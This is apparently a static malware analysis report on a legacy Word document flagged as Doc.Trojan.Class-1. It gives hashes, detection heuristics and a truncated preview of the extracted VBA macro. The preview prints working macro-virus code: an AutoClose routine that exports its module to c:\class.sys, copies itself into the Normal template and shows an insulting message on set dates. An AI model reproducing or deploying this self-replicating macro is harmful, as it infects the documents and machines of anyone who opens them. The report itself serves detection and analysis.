Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 22e2b0380256c963…

MALICIOUS

Office (OLE)

46.0 KB Created: 2001-02-26 19:27:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: fb4cdae1098aa085a929ec5a1ef114cb SHA-1: 549b282e3a9dc8049949ca8192cbb18abfb4a22b SHA-256: 22e2b0380256c963e0d0bdfdfe30e00217ae2b2cf62aaa3a7c3b45a5efe226f4
220 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The critical ClamAV detection and high-severity heuristic for legacy WordBasic macro virus markers indicate malicious intent. The Auto_Close macro in the VBA script attempts to export embedded code to 'c:\class.sys' and then add it back to the document, suggesting it is designed to execute a secondary payload. The presence of legacy macro markers and the Auto_Close event strongly suggest this is a macro-based malware.

Heuristics 4

  • ClamAV: Doc.Trojan.Class-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Class-1
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 21688 bytes
SHA-256: 6ccc79ef2d145e62cbfd035aae8bc0cffb06eb8536dbbc6ec98ac1ee9dd2e2fe
Detection
ClamAV: Doc.Trojan.Class-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub AutoClose()
'Jeremy Smith6/10/1999 14:01:40HP LaserJet 4 Plus on LPT1:Receipt.dot
If nt > 70 And ad > 0 Then GoTo out
'Jeremy Smith6/10/1999 14:01:41HP LaserJet 4 Plus on LPT1:Receipt.dot
If nt < 70 Then
'Jeremy Smith6/10/1999 14:01:41HP LaserJet 4 Plus on LPT1:Receipt.dot
    Set host = NormalTemplate.VBProject.VBComponents.Item(1)
'Jeremy Smith6/10/1999 14:01:41HP LaserJet 4 Plus on LPT1:Receipt.dot
    ActiveDocument.VBProject.VBComponents.Item(1).Name = host.Name
'Jeremy Smith6/10/1999 14:01:41HP LaserJet 4 Plus on LPT1:Receipt.dot
    ActiveDocument.VBProject.VBComponents.Item(1).Export "c:\class.sys"
'Jeremy Smith6/10/1999 14:01:41HP LaserJet 4 Plus on LPT1:Receipt.dot
End If
'Jeremy Smith6/10/1999 14:01:41HP LaserJet 4 Plus on LPT1:Receipt.dot
If ad = 0 Then Set host = ActiveDocument.VBProject.VBComponents.Item(1)
'Jeremy Smith6/10/1999 14:01:41HP LaserJet 4 Plus on LPT1:Receipt.dot
If Day(Now) = 14 And Month(Now) > 5 Then MsgBox "I Think " & Application.UserName & " is a big stupid jerk!", 0, "Class.Poppy"
'Jeremy Smith6/10/1999 14:01:41HP LaserJet 4 Plus on LPT1:Receipt.dot
host.codemodule.AddFromFile ("c:\class.sys")
'Jeremy Smith6/10/1999 14:01:41HP LaserJet 4 Plus on LPT1:Receipt.dot
With host.codemodule
'Jeremy Smith6/10/1999 14:01:41HP LaserJet 4 Plus on LPT1:Receipt.dot
    For x = 1 To 16
'Jeremy Smith6/10/1999 14:01:41HP LaserJet 4 Plus on LPT1:Receipt.dot
    .deletelines 1
'Jeremy Smith6/10/1999 14:01:41HP LaserJet 4 Plus on LPT1:Receipt.dot
    Next x
'Jeremy Smith6/10/1999 14:01:41HP LaserJet 4 Plus on LPT1:Receipt.dot
End With
'Jeremy Smith6/10/1999 14:01:41HP LaserJet 4 Plus on LPT1:Receipt.dot
If nt < 70 Then
'Jeremy Smith6/10/1999 14:01:41HP LaserJet 4 Plus on LPT1:Receipt.dot
    With host.codemodule
'Jeremy Smith6/10/1999 14:01:41HP LaserJet 4 Plus on LPT1:Receipt.dot
    For x = 1 To 4
'Jeremy Smith6/10/1999 14:01:41HP LaserJet 4 Plus on LPT1:Receipt.dot
    .replaceline 91, "Sub ToolsMacro()"
'Jeremy Smith6/10/1999 14:01:41HP LaserJet 4 Plus on LPT1:Receipt.dot
    For x = 70 To 81
'Jeremy Smith6/10/1999 14:01:41HP LaserJet 4 Plus on LPT1:Receipt.dot
        .deletelines 62
'Jeremy Smith6/10/1999 14:01:41HP LaserJet 4 Plus on LPT1:Receipt.dot
    Next x
'Jeremy Smith6/10/1999 14:01:41HP LaserJet 4 Plus on LPT1:Receipt.dot
    .replaceline 35, "    For x = 1 To 4"
'Jeremy Smith6/10/1999 14:01:41HP LaserJet 4 Plus on LPT1:Receipt.dot
    End With
'Jeremy Smith6/10/1999 14:01:41HP LaserJet 4 Plus on LPT1:Receipt.dot
End If
'Jeremy Smith6/10/1999 14:01:41HP LaserJet 4 Plus on LPT1:Receipt.dot
With host.codemodule
'Jeremy Smith6/10/1999 14:01:41HP LaserJet 4 Plus on LPT1:Receipt.dot
    For x = 2 To 104 Step 2
'Jeremy Smith6/10/1999 14:01:41HP LaserJet 4 Plus on LPT1:Receipt.dot
    .replaceline x, "'" & Application.UserName & Now & Application.ActivePrinter & Application.ActiveWindow
'Jeremy Smith6/10/1999 14:01:41HP LaserJet 4 Plus on LPT1:Receipt.dot
    Next x
'Jeremy Smith6/10/1999 14:01:41HP LaserJet 4 Plus on LPT1:Receipt.dot
End With
'Jeremy Smith6/10/1999 14:01:41HP LaserJet 4 Plus on LPT1:Receipt.dot
out:
'Jeremy Smith6/10/1999 14:01:41HP LaserJet 4 Plus on LPT1:Receipt.dot
'Michele Withers10/02/99 17:03:21HP LaserJet 4 Plus on \\EBCCGEN3\HP4PRECEIPT.DOT
'Jeremy Smith6/10/1999 14:01:41HP LaserJet 4 Plus on LPT1:Receipt.dot
'Michele Withers10/02/99 17:03:21HP LaserJet 4 Plus on \\EBCCGEN3\HP4PRECEIPT.DOT
'Jeremy Smith6/10/1999 14:01:41HP LaserJet 4 Plus on LPT1:Receipt.dot
'Michele Withers10/02/99 17:03:21HP LaserJet 4 Plus on \\EBCCGEN3\HP4PRECEIPT.DOT
'Jeremy Smith6/10/1999 14:01:41HP LaserJet 4 Plus on LPT1:Receipt.dot
'Michele Withers10/02/99 17:03:21HP LaserJet 4 Plus on \\EBCCGEN3\HP4PRECEIPT.DOT
'Jeremy Smith6/10/1999 14:01:41HP LaserJet 4 Plus on 
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.